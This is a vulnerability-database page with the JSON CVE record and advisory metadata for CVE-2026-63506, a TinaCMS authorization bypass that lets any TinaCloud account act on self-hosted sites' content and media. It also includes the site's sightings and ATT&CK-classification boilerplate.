          "value": "Tina is a headless content management system. Prior to @tinacms/auth 1.1.4 and next-tinacms-azure 15.0.1, isAuthorized accepts a request-controlled clientID and asks isUserAuthorized to validate the bearer token against that selected TinaCloud app instead of the self-hosted site\u0027s configured app. An attacker with any TinaCloud account can submit the attacker\u0027s own app ID and valid token to a victim endpoint, causing TinaCloudBackendAuthProvider or an affected media authorized callback to accept the attacker\u0027s verified status across the tenant boundary. The vulnerable logic is present in packages/@tinacms/auth/src/index.ts and packages/next-tinacms-azure/src/auth.ts. Successful exploitation permits media listing, reading, upload, or deletion and, when TinaCloudBackendAuthProvider is used, GraphQL read, create, update, and delete operations on the victim\u0027s content without a victim account or victim interaction. This vulnerability is fixed in @tinacms/auth 1.1.4 and next-tinacms-azure 15.0.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-639",
              "description": "CWE-639: Authorization Bypass Through User-Controlled Key",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-16T20:27:37.385Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/tinacms/tinacms/security/advisories/GHSA-g74q-6g2f-874x",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-g74q-6g2f-874x"
        },
        {
          "name": "https://github.com/tinacms/tinacms/pull/7168",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/tinacms/tinacms/pull/7168"
        },
        {
          "name": "https://github.com/tinacms/tinacms/commit/0a927a4f8d228dd05ee7ca4be32899bc190e73af",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/tinacms/tinacms/commit/0a927a4f8d228dd05ee7ca4be32899bc190e73af"
        },
        {
          "name": "https://github.com/tinacms/tinacms/releases/tag/@tinacms/auth@1.1.4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/tinacms/tinacms/releases/tag/@tinacms/auth@1.1.4"
        },
        {
          "name": "https://github.com/tinacms/tinacms/releases/tag/next-tinacms-azure@15.0.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/tinacms/tinacms/releases/tag/next-tinacms-azure@15.0.1"
        }
      ],
      "source": {
        "advisory": "GHSA-g74q-6g2f-874x",
        "discovery": "UNKNOWN"
      },
      "title": "Tina: [Broken Access Control] letting any TinaCloud user authorize against any self-hosted site"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-63506",
    "datePublished": "2026-09-16T20:27:37.385Z",
    "dateReserved": "2026-07-16T21:49:52.069Z",
    "dateUpdated": "2026-09-17T15:54:38.071Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-G74Q-6G2F-874X

Summary

Affected code (confirmed at 5a6839f)

Steps to reproduce (real target)

Proof of concept (self-contained, zero dependencies)

Impact

Fix

CVE-2026-63506 (GCVE-0-2026-63506)

Tags

Sightings

Nomenclature

Related by attack behaviour

Affected code (confirmed at `5a6839f`)